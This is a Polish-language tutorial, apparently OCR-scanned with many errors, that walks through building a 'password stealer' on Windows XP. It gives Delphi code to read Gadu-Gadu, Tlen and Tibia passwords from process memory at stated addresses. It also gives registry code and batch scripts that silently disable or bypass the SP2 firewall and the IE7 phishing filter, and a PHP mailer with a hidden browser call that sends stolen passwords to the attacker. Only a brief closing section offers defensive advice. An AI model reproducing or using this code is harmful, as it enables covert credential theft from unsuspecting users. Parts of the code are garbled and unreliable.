Microsoft Windows XP — kradziez haset i omijanie typowych systemowych zabezpieczen

Pewnie nie jeden z uzytkownikow systemu Microsoft Windows XP, zastanawiat si¢
czy korzystajac z tegoz oprogramowania moze czu¢ si¢ bezpiecznie. Oczywiscie uzytkownicy
systemu Linux z gory powiedza ,ze nie i maja racje , gdyz ,,lwia” cze¢$¢ uzytkownikow
komputeréw osobistych PC uzywa systemu operacyjnego ze ,,stajni”” Microsoft, co ma swoje
dobre i zte strony. Popularnos¢ Windowsa byta jego przeklenstwem gdyz nie jeden znudzony
uzytkownik szukat btedéw (metod obejscia) w typowych zabezpieczeniach , coraz to
nowszych Service Packach oraz wersjach przegladarek Internet Explorer.

Innowacja mial by¢ Service Pack 2 (SP2) , ktérego gtdéwnym zadaniem byla liminacja
dotychczas odnalezionych btgdéw obecnych w systemie oraz instalacja systemowej zapory
sieciowej (firewall), aktywnie chroniacej dostepu do polaczen ustanawianych przez okreslone
aplikacje. Problem w tym ze co proste to nickoniecznie musi by¢ bezpiecznie . Podobna
sytuacja spotkata Internet Explorer ktéry w najnowszej wersji 7.0 miat skuteczniej chronié
nasze ,,surfowanie” po sieci. I tu Microsoft kolejny raz opublikowat niezbyt doskonaty
produkt.

Atak z zewnatrz oczywiscie nie nalezy do prostych rzeczy, jednak w dobie sieci P2P,
kontaktow mailowych oraz wszelkiego rodzaju innych ustugach opartych o ,,wirtualnych”
znajomych, atak od wewnatrz chociazby pod postacia ,,konia trojanskiego” jest o wiele
prostsza metoda na kradziez wszelakich haset i tym podobnych cennych danych z naszego
systemu.

Mato ktoéry z uzytkownikdéw uzywa firewalla innego niz standardowego systemowego
, ktory nie utrudnia zycia i nie trzeba poswigci¢ mu kilkunastu minut w celu poprawne;j
konfiguracji. Takie jest typowe 1 krétkowzroczne myslenie , lecz postaram si¢ w tymze
artykule pokaza¢ z jaka tatwoscia intruz, moze przesta¢ dane takie jak login i hasto
ustugi komunikatora Gadu-Gadu, Tlen czy gry sieciowej Tibia.

Najprostsza metoda kradziezy haset wymaga jednak kilku umiejgtnosci , podstawowa
Z nich to programowanie. Jako ,ze obejécie zabezpieczen firewalla systemu Windows XP z
zainstalowanym Service Pack 2 oraz filtru antyphisingowego przegladarki Internet Explorer
7.0 , wymaga zaledwie znajomosci rejestru (regedit) badz jezyka Batch (pliki *.bat) to jednak
odczytanie z pamigci podrecznej danej aplikacji, hasta i1 loginu , potrzeba wigcej jak
podstawowego pojecia o tworzeniu aplikacji w jezyku Delphi (Borland Turbo) badz w C++.
W zwiazku z tym iz o gustach si¢ nie dyskutuje ,dlatego moj tutorial bede tworzyt przy uzyciu
najprostszych metod czyli jezyka Delphi.

Uniwersalng metoda na uzyskanie potrzebnych dla nas informacji (hasta, numeru gg,
loginu itp.) jest odczytanie ich wprost z pamigci podrgcznej uruchomionej aplikacji, co nie
stanowi juz zadnego problemu, gdyz z racji malejacych cen szerokopasmowego dostepu do
sieci Internet, zasadnicza wigkszos¢ aplikacji tego typu uruchamiana jest wraz ze startem
systemu operacyjnego.

Pomimo licznych sposobdw kodowania plikow konfiguracyjnych wigkszos¢ aplikacji
uzytku komunikacji codziennej , stosuje ,,odkryte” przechowywanie haset w pamigci
podrecznej , pod tym samym adresem , ktéry zmienia si¢ wraz ze zmiang wersji (kompilacji)
samego oprogramowania. Dzigki temu tego typu atak jest coraz to czesciej stosowana metoda
kradziezy danych z jakze fatwos$cia, co zostanie zaprezentowane ponize;j.

Pierwszym programem ktory pojdzie pod ,,ostrzal” ,bedzie najpopularniejszy
komunikator jakim jest Gadu-Gadu. Dekodowanie jego pliku konfiguracyjnego w ktorym
przetrzymywane sg hasta i login (numer gg), nalezy do jednego z najprostych na rynku
(config.dat). Opiera sig¢ na prostych operacjach na znakach jak przesunigcia , negacje i
ogolnodostepna (w Internecie) tablica znakow. Jednak odczyt wprost z pamigci procesu
gg.exe jest jeszcze prostszy. Aby odczytac hasto badz login potrzebujemy programu zwanego



WInHEX badz kazdego innego umozliwiajacego nam tego typu operacje (odczyt Process
Memory).
W pierwszej kolejnosci tworzymy nowe konto w

programie Gadu-Gadu wraz z nietypowym hastem dzieki
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hastem jak wcze$niej wspominano jest ,, pokazmihaslo”, a Wigc uzywamy kombinacji
klawiszy CTRL+F i wywolujemy wyszukiwarke . Oczywiscie moze to hasto znajdowac sig
pod roznymi adresami , jednak trzeba to sprawdzi¢ wlaczajac program kilkukrotnie badZ na
innym komputerze , oczywiscie biorac pod uwage wersje programu Gadu-Gadu.
W naszym przypadku hasto byto pod adresem $005FE47C :
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Jak juz wczesniej wspomniano, metoda takiego odczytu ,,tajnych” danych, jest
uniwersalna i sprawnie funkcjonuje z wszelakimi komunikatorami jak i klientami gier
sieciowych (np.: Tibia). Jedyna rzecza ktora je odroznia to miejsce gdzie te ,,dane” mozna
znalez¢ . Dla kazdej aplikacji badz kompilacji , adres pod ktorym bedzie przechowywane
dowolne hasto, znajdzie si¢ w innej lokalizacji. Przyktadowo dla Gadu-Gadu w wersji 7.7.0
[build 3669] byto to $005FE47C, natomiast w innej wersji [build 3445] tegoz samego
programu adres pod ktérym mogliSmy znalez¢ hasto byt $005FE4EC. Tlen i Tibia ,rowniez
podaja nam hasto ,,na tacy”. W tym pierwszym dla wersji 6.0.1.13 , ciag ,,pokazmihaslo” jest
umiejscowiony pod adresem ,, 8007743847, natomiast w najnowszej odstonie tj. 8.0 klienta
gry sieciowej Tibia , hasto (niejednokrotnie do cennego konta) znajdziemy w tymze miejscu
,800766DC4 ™.

Mamy te adresy , teraz najwyzsza pora aby stworzy¢ aplikacje dzigki ktorej bedzie
mozna odczytywac nasze dane wprost z pamigci uruchomionej aplikacji i to jednym
kliknigciem myszki. Po co to nam !? a no po to aby w potaczeniu z metodami obchodzenia
typowych zabezpieczen firmy Microsoft (opisane w dalszej czgsci artykutu), odczytac te dane
1 wysta¢ na nasz adres email , bez §$wiadomos$ci uzytkownika systemu.

Na poczatku potrzebujemy zaopatrzy¢ si¢ w srodowisko programistyczne , proponuje
tutaj skorzysta¢ z darmowego Turbo Delphi firmy Borland , ze wzgledu na prostote
tworzenia wlasnych aplikacji. Instalacja , nie powinna sprawi¢ wigkszych probleméw , wigc
czas na konkrety.

Otwieramy nowy projekt, i na formg wrzucamy przycisk (TButton) oraz pole edycji
(TEdit), za$ w kodzie programu dodajemy do ,,uses” biblioteke ,,tlhelp32”,umozliwiajaca



operacje na procesach systemowych. Do pracy na pamigci podrecznej uruchomionego
procesu, bedziemy potrzebowac jeszcze dwoch funkcji :

1. function extractfname (fil:string) :string;

2. begin

3. while pos('\',fil)<>0 do delete(fil,1,pos('\',fil));

4. result:=£fil;

5. end;

6.

7. function GetPID(exename: string) : Cardinal;

8. var

9. continueloop: Longbool;

10. snapshothandle: thandle;

11. processentry32: tprocessentry32;

12. begin

13. try

14. result := 0;

15. snapshothandle := createtoolhelp32snapshot ({t/ , ;
1l6. processentry32.dwsize := sizeof (processentry32);

17. continueloop := process32first (snapshothandle, processentry32);
18. while integer (continueloop) <> do

19. begin

20. if uppercase (extractfname (processentry32.szexefile = uppercase (exename or
21. uppercase (processentry32.szexefile) = uppercase (exename then
22. result := processentry32.th32processid;

23. continueloop := process32next (snapshothandle, processentry32);
24. end;

25. closehandle (snapshothandle) ;

26. except

27. end;

28. end;

Pierwsza jest potrzebna do parsowania nazwy procesu, natomiast dzigki drugiej mozliwe
jest uzyskanie numeru PID na podstawie nazwy pliku (np.: gg.exe). Majac te dwie funkcje
mozemy przej$¢ do samego odczytania hasta z procesu Gadu-Gadu. Naciskamy nasz przycisk
na formie 1 wpisujemy mu odpowiedni kod zrodlowy :

29. procedure TForml.ButtonlClick(Sender: TObject);
30. var

31. PID : cardinal ;

32. uchw : THandle;

33. pUchwyt: THandle;

34, buforek: Cardinal;

35. ProcessID: Cardinal;

36. pass : string;

37. begin

38. / va naszego pr

39. PID := GetPID('gg.exe');

40. ProcessID:=PID;

41. buforek := GlobalAlloc (GMEM FIXED, ;

42. pUchwyt := OpenProcess (PROCESS ALL ACCESS, false, ProcessID);
43. //Adres pod ktérym jest haslo

44, ReadProcessMemory (pUchwyt, ptr , ptr(buforek), , uchw) ;
45, Pass:= Pchar (buforek) ;

46. //Teraz wyswietlamy nasze haselko

47. Editl.Text:=pass ;

48. GlobalFree (buforek) ;

49. end;

50.

W linii 39 wpisujemy nazweg naszego uruchomionego pliku , jako ze przyktad odnosi sig
do komunikatora Gadu-Gadu, dlatego wpisujemy gg.exe (dla Tlena — tlen.exe , dla klienta
Tibia — tibia.exe). Nasz adres pod ktorym jest przechowywane hasto ustawiamy w linii 44,
gdzie nastepuje odczyt hasta z pamigci procesu . Warto$¢ wyswietlamy na obiekcie Editl
(pole edycji) w linii 47.

I tym sposobem mamy prosta aplikacj¢ dzigki ktorej pobieramy rzekomo tajne hasta
wprost z procesu naszej aplikacji. Teraz pora aby je wysta¢ na nasz adres email. Jednak



Microsoft pragnat nam to utrudni¢ wprowadzajac pakiet najnowszych poprawek do systemu ,
zwanych Service Pack 2 a razem z nim wprowadzajac do systemu firewall, ktory odciat
dostep do potaczenia internetowego nieznanym aplikacja bez naszej zgody.

Sposdéb ominigeia tego typu zabezpieczenia wymaga jednak pewnych praw
administracyjnych takich jak mozliwo$¢ zmiany wpiséw w rejestrze systemowym (regedit). Z
reguty uzytkownicy nie przebywaja na koncie typu ,, GOSC” , gdyz tak ograniczone konto
jest lekko uciazliwe w codziennej pracy na komputerach osobistych PC. W zwiazku z tym
nasza metoda pobrania i wystania hasel ma do$¢ duza szanse na powodzenie.

Systemowy firewall posiada kilka stabych punktow umozliwiajacych
skuteczne obejScie mechanizmow zabezpieczajacych. Omowig tutaj dwie z nich oraz sposob
ich wykorzystania przy uzyciu srodowiska programistycznego Borland Turbo Delphi.

Pierwszym sposobem jest dodanie naszego programu do wyjatkéw czyli listy aplikacji
ktore maja dostgp do potaczenia internetowego. Z poziomu wyeksportowanego klucza
rejestru wyglada to nastepujaco :

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Standa
rdProfile\AuthorizedApplications\List] “C:\\Program Files\Gadu-Gadu\\gg.exe"="C:\\Program Files\\Gadu-
Gadu\\gg.exe:*:Enabled:Gadu-Gadu - program glowny

Na pierwszy ,,rzut oka” wida¢, iz aby doda¢ nasz program do wyjatku nalezy go
zapisa¢ w nastgpujacej formie:

"lokalizacja(podwaojny slash)"="lokalizacja(podwojny slash):*:dostep_badz_nie:wyswietlana_nazwa"

Jednak aby dodany program mial sens bytu , nalezy wlaczy¢ w firewallu obstuge
wyjatkow. Oczywiscie i ten sktadnik systemy naszej zapory ogniowej mozemy $miato
zmienia¢ z poziomu rejestru. Znajduje si¢ on w tej oto gatezi :

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolic
y\StandardProfile]

Zmieniajac warto$¢ klucza ,, DoNotAllowExceptions” na ,,1” badz ,,0” okreslamy czy
obstuga wyjatkéw jest wlaczona czy wytaczona :

,,DoNotAllowExceptions"=dword:00000000 - wiaczona
"DoNotAllowExceptions"=dword:00000001 - wylqczona

Nalezy pamigta¢ aby firewall byt wlaczony gdyz wowczas aktywacja obstugi
wyjatkow mija si¢ z celem.

Dodajmy nasz program do listy dostgpowej z poziomu jgzyka Borland Delphi. Do
tego potrzebujemy dowolnego komponentu lub biblioteki do obstugi rejestru. Skorzystamy z
typowego czyli Registry ktory nalezy doda¢ do ,,uses”. Nastgpnie tworzymy procedurg dzigki,
ktorej bedziemy dodawac lub usuwac nasz program z listy wyjatkow. Oto ona :



1. procedure WyjatekSP2 (aktywuj: Boolean);
2. var

3. reg: TRegistry;

4. sp2 : string;

5. begin

6. reg := TRegistry.Create;

7. reg.RootKey := HKEY LOCAL MACHINE;

8. sp2:=Application.ExeName;

9. reg.OpenKey ('System', True);

10. reg.OpenKey ('ControlSet001', True);

11. reg.OpenKey ('Services', True);

12. reg.OpenKey ('SharedAccess', True);

13. reg.OpenKey ('Parameters', True);

14. reg.OpenKey ('FirewallPolicy', True);
15. reg.OpenKey ('StandardProfile', True);
16. reg.OpenKey ('AuthorizedApplications', True);
17. reg.OpenKey ('List', True);

18. if aktywuj = True then

19. begin

20. reg.WriteString (sp2,sp2+':*:Enabled:'+ExtractFileName (sp2));
21. end

22. else if aktywuj = False then

23. begin

24. reg.DeleteValue (sp2) ;

25. end;

26. reg.CloseKey;

27. end;

W linii 8 nastgpuje pobranie $ciezki pod ktora znajduje si¢ nasz wtasnie uruchomiony
plik, nastepnie otwierane sa kolejne galgzie az do tej w ktorej znajduje sig nasz klucz
docelowy czyli ,, AuthorizedApplications\List” i tam wedle opisywanego wczesniej schematu
dodajemy nasz program do listy wyjatkow (linia 20). Procedura ta jest wywotywana w
nastgpujacy sposob :

WyjatekSP2(true) - nasz program jest dodany wyjatkow
WyjatekSP2(false) - aplikacja jest usunigta z wyjatkow

W ten oto sposob zapora ogniowa nie stanowi juz problemu dla naszego programu.
Jednak jest jeszcze druga metoda, polegajaca na calkowitym wytaczeniu firewall, lecz
uzytkownik w takim momencie zostanie poinformowany takim oto znaczkiem na pasku zadan

(prawy dolny rég) : . Ikona ta oznacza iz jeden z elementow ,, Centrum zabezpieczen
systemu Windows ” jest nie aktywny (nie znaleziono) badz wytaczony. Mozna si¢ jednak
,,porwac” na ta metodg ominigcia zapory , gdyz czesto uzytkownicy nie sg ,,uzbrojeni” w
system antywirusowy badZ maja wytaczona opcje automatycznej aktualizacji, co rowniez jest
prezentowane na pasku zadan jak w przypadku wylaczonego firewalla. W zwiazku z tym
nieswiadomego uzytkownika mozna tatwo oszuka¢ gdyz nie zauwazy iz zostat odj¢ty kolejny
sktadnik zabezpieczen systemu.

Klucz dzigki ktoremu mozna wylaczy¢ zaporg ogniowa systemu Windows, znajduje
si¢ w identycznym miejscu jak w przypadku aktywacji obstugi wyjatkéw :

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Standa
rdProfile]

Aby wlaczy¢ zaporg ogniowa nalezy ustawi¢ dla ,, EnableFirewall” warto$¢ ,,1” ,za$ by
wylaczy¢ wartos¢ ,,0”:

"EnableFirewall"=dword:00000001

"EnableFirewall"=dword:00000000

W srodowisku Borland Delphi , nasza aplikacja rowniez wiele si¢ nie r6zni z procedura do
obstugi wyjatkow, z tym drobnym szczegdtem iz nie potrzebujemy lokalizacji naszego pliku :



1. procedure WylaczSP2 (aktywuj: Boolean);
2. var

3. reg: TRegistry;

4. begin

5. reg := TRegistry.Create;

6. reg.RootKey := HKEY LOCAL MACHINE;

7. reg.OpenKey ('System', True);

8. reg.OpenKey ('ControlSet001', True);
9. reg.OpenKey ('Services', True);

10. reg.OpenKey ('SharedAccess', True);
11. reg.OpenKey ('Parameters', True);

12. reg.OpenKey ('FirewallPolicy', True);
13. reg.OpenKey ('StandardProfile', True);
14. if aktywuj = True then

15. begin

16. reg.WriteInteger ('EnableFirewall',0);
17. end

18. else if aktywuj = False then

19. begin

20. reg.WriteInteger ('EnableFirewall',1);
21. end;

22. reg.CloseKey;

23. end;

Procedura ta jest wywotywana w nastgpujacy sposob :

WylaczSP2(true) - wylaczenie firewalla
WylaczSP2(false) - wiaczenie firewalla

Nalezy zwrocié¢ uwagg, iz wartosci w tym kluczu nie sg juz ,,REG_SZ” (stringiem) a
,DWORD” (Integer) ,dlatego sa ciut inaczej zapisywane tzn. poprzez ,,Writelnteger”, a nie
jak w punkcie poprzednim ,,WriteString”.

Obie metody omijania zabezpieczen firewalla mozna jednak zrobi¢ bez potrzeb
programowania, gdyz system Windows umozliwia nam tworzenie plikow skryptowych
(BATCH) z rozszerzeniem ,, * bat”. Ponizej przyktad jak wytacz zaporg ogniowa Windowsa :

@echo off

echo REGEDIT4 >>sp2.reg

echo. >>sp2.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] >>sp2.reg
echo "EnableFirewall"=dword:00000000 >>sp2.reg

echo. >>sp2.reg

regedit /s sp2.reg

del sp2.reg >>nul

W drugiej funkcji dodamy przyktadowy plik z partycji do wyjatkow i ukryjemy pod
tajemniczo brzmiaca nazwa , aby niedo$wiadczony uzytkownik nie usunat naszej aplikacji z
listy programow ,,zaufanych”. Oto ona :

@echo off

echo REGEDIT4 >>sp2.reg

echo. >>sp2.reg

echo

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Shared Access\Parameters\FirewallPolicy\StandardProfile\Authorized Appli
cations\List] >>sp2.reg

echo "c:\\naszplik.exe"="c:\\naszplik.exe:*:Enabled:NIE RUSZAJ" >>sp2.reg

echo. >>sp2.reg

regedit /s sp2.reg

del sp2.reg >>nul

W ten oto sposdb mozemy juz ,,wyciaga¢” hasla z pamigci programu, wytaczaé
(omina¢) systemowy firewall , teraz czas na wystanie tych danych . Windows ku tym potrzeba
daje nam kilka wbudowanych narzedzi, takich jak telnet badz klienta ftp (ftp.exe), ktore dzigki
umiejetnosci okielzania zapory systemowej mozna $§miato wykorzysta¢. Oczywiscie jesli
mamy pojgcie o programowaniu wystarczy napisac prostego klienta email badZ innego



umozliwiajacego wystanie tekstu (hasta) np.; na nasz numer Gadu-Gadu lub konto Tlen .W
trakcie wystania nalezy jedynie uzy¢ wedle uznania metody na ominigcia firewalla.

Jest jednak o wiele prostszy sposob , ktory wymaga konta WWW z obstuga php i
funkcji mail(). Dzigki temu wykradzione hasto mozna wysta¢ wprost z linii komend (Start-
>Uruchom) , przy uzyciu standardowo zainstalowanej przegladarki Internet Explorer. Ta
metoda ma jednak druga zalete, gdyz nie obciaza objetosciowo naszej aplikacji i przy okazji
czgsto tego typu proba wyslania danych jest rowniez niewykrywalna przez inne niz
systemowy firewall.

Napisanie prostego skryptu w jezyku php nie wymaga zbytnich umiejgtnosci , gdyz
wykorzystywane sa proste funkcje. Kod zrodtowy pliku skrypt.php :

<?php
$haslo=($_GET]['haslo"]);//przechwytujemy hasto

$headers = "From: Bramka <xxxxx@xxx.xx>\n"; //naglowek
$headers .= "X-Mailer: Bramka\n";

$TO ='adres@mail.pl'; //gdzie wystaé

$subject = "Test'; //temat emaila

$message = $haslo; //tres¢ wiadomoscéi

mail($TO, $subject, Smessage, $headers); //wysylamy email
ol

Mamy juz skrypt php , teraz aby go wykorzysta¢ musimy w kodzie zrodlowym naszej
aplikacji , w ktorej to wyciagamy hasta , uzy¢ dowolnej funkcji dajacej nam mozliwos¢
uruchamiania innych aplikacji. Srodowisko Delphi pozwala nam tego dokona¢ korzystajac z
dwoch najbardziej popularnych komend tj. WinExec() oraz ShellExecute(). Skorzystamy z tej
drugiej, dodajac do ,, uses”” ,biblioteke ,, ShellApi”. Potrzebujemy tego by moc przy uzyciu
przegladarki Internet Explorer , otworzy¢ strong WWW w ukryciu przed uzytkownikiem.
Ponizej jest przedstawione poprawne otwarcie strony i wystanie hasta :

ShellExecute(handle,'open’, iexplore.exe',PAnsiChar( http://adreswww/skrypt.php? haslo=tajnehaslo’),nil,0);

Niestety do wersji 7.0 przegladarki stron WWW firmy Microsoft, tego typu operacje
byty mozliwe bez wigkszych probleméw , lecz zmienito si¢ to w najnowszej odstonie Internet
Explorer. Wprowadzono w niej ochrong antyphisingowq ,ktéra czg¢sciowo zablokowata ten
niecny sposob wykorzystania przegladarki. Filtr witryn wytudzajacych informacje , ktory jest
ustawiony na automatyczne sprawdzanie witryn sieci Web , ostrzega uzytkownika jesli on
sam badz aplikacja na komputerze bedzie probowac polaczyc¢ sig ze strong WWW wprost z
linii komend.

Na to, rowniez znalazt si¢ sposob ,gdyz tego typu ustawienia jak zawsze Microsoft
,chowa” gteboko w rejestrze, a problem stanowi jedynie znalezienie odpowiedniego klucza.
W tym przypadku , zbytnio si¢ nie postarali ,gdyz szukana gataZ nazywa sig po prostu
PhishingFilter :

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter]
"Enabled"=dword:00000000

Warto$¢ klucza ,, Enabled” , dzigki ktoremu manipulujemy filtrem antyphisingowym
,moze posiadac trzy rozne wartosci :

,,0” — filtr antyphisingowy wytaczony
,, 17 — filtr wiaczony ale automatyczne sprawdzanie nie aktywne
,, 2" — filtr wlaczony oraz aktywne automatyczne sprawdzanie stron sieci Web



Pozostato nam stworzy¢ w srodowisku Borland Delphi witasna procedure badz plik
skryptowy Batch identyczny jak w przypadku obstugi wyjatkéw systemowego firewalla, ktora
umozliwiala by nam automatyczne wylaczenia filtru.

Posiadamy juz trzy sktadniki ,dzigki ktorym mozemy stworzy¢ nasz program typu
,password stealer” . Potrafimy wykras$¢ hasto wprost z pamigci podrgcznej uruchomione;j
aplikacji , omina¢ firewall otrzymany w Windows XP wraz z zainstalowanym Service Pack 2
oraz filtr antyphisingowy , a nastgpnie wystac te informacje niepostrzezenie na nasz adres
email.

Zwykly uzytkownik systemu pochodzacego z Microsoft, nie zdaje sobie sprawy w jak
prosty sposob tego typu dane jak hasta do wszelakich kont , mozna wykras¢ gdy ten spokojnie
w tym czasie rozmawia ze znajomymi . Musi u§wiadomic sobie ,iz nie ma bezpiecznego
systemu korzystajac z jego standardowych mozliwosci. Service Pack 2 jest juz do$¢ dawnym
dodatkiem, a premiera wersji 3 jest wciaz odwlekana. Wigcej mozna si¢ byto spodziewac po
przegladarce Internet Explorer 7.0 , ktora tylko nieznacznie utrudnita ,,wyciek” informacji z
maszyny lokalnej.

Pytanie jak si¢ uchroni¢ przed tym , niekoniecznie chcac zmienia¢ system operacyjny ,
uprawnienia konta na ograniczone ,,GOSC” oraz program do przegladania serwisow Web , w
koncu przyzwyczajenie jest silniejsze od zdrowego rozsadku. Tutaj moze pomdc alternatywny
firewall (np.: Kerio , ZoneAlarm itp.) , program antywirusowy badZ monitorujacy proby
dostepu do rejestru (np.: Spybot itp.), ale oczywiscie i na to sa sposoby. W dobie Internetu w
kazdym domu z PC, gdzie praktycznie znalez¢ mozna wszystko, stworzenie narzedzia
trudniejszego do wykrycia i skuteczniej omijajacego dowolny firewall i przy tym
niewykrywalnego zar6wno w systemie jak i przez programy antywirusowe, staje si¢ coraz
tatwiejsze do zrobienia. Rootkity i tym podobne aplikacje wykorzystuja r6zne metody
obejscia zabezpieczen (DLL Injection, Firewall Bypassing itp.) , jednak w walce z nimi ,coraz
to skuteczniejsze sa ,,5zczepionki” na nie , lecz trzeba by¢ swiadomym tych
niebezpieczenstw.

Nie nalezy polega¢ na jednej ochronie systemu 1 to tej wbudowanej, ktora z zalozenia
jest raczej dodatkiem a nie skutecznym narzedziem obronnym. Poki uzytkownik nie zadba o
wlasne zabezpieczenie , tak z latwos$cia jego dane bgda przechwytywane przez osobg
pragnaca skra$¢ nam nasza tozsamo$¢ , konto mailowe, bankowe , komunikatora czy gry
sieciowej dla ktorej ,,zarwaliSmy” nie jedna noc.

Autor :
Rafal Jelitto

Kontakt :
Email - rafal@jelitto.org
Homepage - http://rafal.jelitto.org/

Programy wykorzystane w powyzszym artykule :
WInHEX - http://www.x-ways.net/
Borland Turbo Delphi — http://www.borland.com/

Wszelkie prawa zastrzezone. Rozpowszechnianie , sprzedaz i kopiowanie calosci badz
fragmentow artykulu , bez zgody autora surowo zabronione !
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